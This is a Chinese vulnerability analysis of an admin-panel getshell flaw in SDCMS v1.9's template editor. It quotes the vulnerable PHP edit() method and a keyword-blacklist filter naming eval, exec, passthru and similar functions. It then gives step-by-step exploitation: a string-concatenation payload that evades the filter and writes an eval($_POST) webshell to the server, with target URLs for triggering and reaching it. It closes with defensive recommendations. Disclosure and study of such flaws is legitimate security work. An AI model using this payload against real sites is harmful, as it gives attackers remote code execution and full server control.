sdcms v1.9 后台getshell
字数 697 2025-08-26 22:11:45
SDCMS v1.9 后台Getshell漏洞分析与利用
漏洞概述
SDCMS v1.9版本存在后台模板编辑功能中的文件写入漏洞,攻击者可以通过构造特定代码绕过过滤机制,实现任意文件写入,最终获取服务器控制权限。
漏洞影响版本
- SDCMS v1.9
- 相关历史漏洞:
- CVE-2019-9651 (v1.7)
- CVE-2018-19520 (v1.6)
漏洞位置
/app/admin/controller/themecontroller.php 文件中的 edit() 方法
漏洞分析
关键代码
public function edit() {
if(IS_POST) {
$dir=$this->decode(F('t0'));
$dir=str_replace(dir);
$root='theme/'.$dir;
$text=self::deal_text($_POST['t2']);
$data=[[$text,'null','内容不能为空']];
if(check_bad($text)>0) {
$data=array_merge($data,[[(1>1),'other','请勿提交非法内容']]);
}
$v=new sdcms_verify($data);
if($v->result()) {
if(strpos($root,'.php')) {
$text=" <?php if ( ! defined ( 'IN_SDCMS' )) exit ; ?> ".$text;
}
if(!APP_DEMO) file_put_contents($root,$text);
$this->success('保存成功');
$data=" <?php \nif ( ! defined ( 'IN_SDCMS' )) exit ; \nreturn ".var_export( $name , true)." ; \n ?> ";
if(!APP_DEMO) file_put_contents('theme/'.$theme.'/_note.php', $data);
} else {
$this->error($v->msg);
}
$this->add_log($this->msg);
} else {
// ...
}
}
过滤机制
过滤函数位于 app/function.php 的 check_bad() 函数:
function check_bad($str) {
$num=preg_match_all("/(phpinfo|eval|file_put_contents|file_get_contents|passthru|exec|chroot|scandir|proc_open|delfolder|unlink|mkdir|fopen|fread|fwrite|fputs|tmpfile|flock|chmod|delete|assert|_post|_get|_request|_file|create_function|array_walk|preg_replace|cookie)/Ui",$str,$match);
return $num?$num:0;
}
漏洞利用步骤
前提条件
- 攻击者已获取后台管理员权限
- 目标系统未处于演示模式(APP_DEMO为false)
利用过程
-
访问后台模板管理页面:
http://target.com/sdcms1.9/?m=admin&c=theme&a=index -
选择任意PHP模板文件进行编辑(如top.php)
-
在编辑框中输入以下代码:
<?php $a = 'file_p' . 'ut_contents'; $data = '<?php ev' . 'al($_PO' . 'ST[1])?>'; $a("chonger.php", $data); ?> -
点击保存按钮
-
访问网站首页触发代码执行:
http://target.com/sdcms1.9/ -
生成的Webshell位于:
http://target.com/sdcms1.9/chonger.php
漏洞原理
- 系统未对用户输入进行充分的过滤和验证
- 虽然存在关键字过滤,但可以通过字符串拼接方式绕过
- 文件写入操作未限制目录和文件类型
- 写入的内容未进行有效的安全处理
防御措施
- 升级到最新版本
- 加强输入验证,不仅检查关键字,还应检查代码结构
- 限制模板编辑功能只能修改特定目录下的非PHP文件
- 实现文件内容的白名单验证机制
- 对管理员操作进行二次验证
总结
该漏洞展示了即使存在多层过滤机制,如果实现不当仍可能被绕过。开发人员应重视安全编码实践,不仅依赖简单的关键字过滤,而应采用更全面的安全防护措施。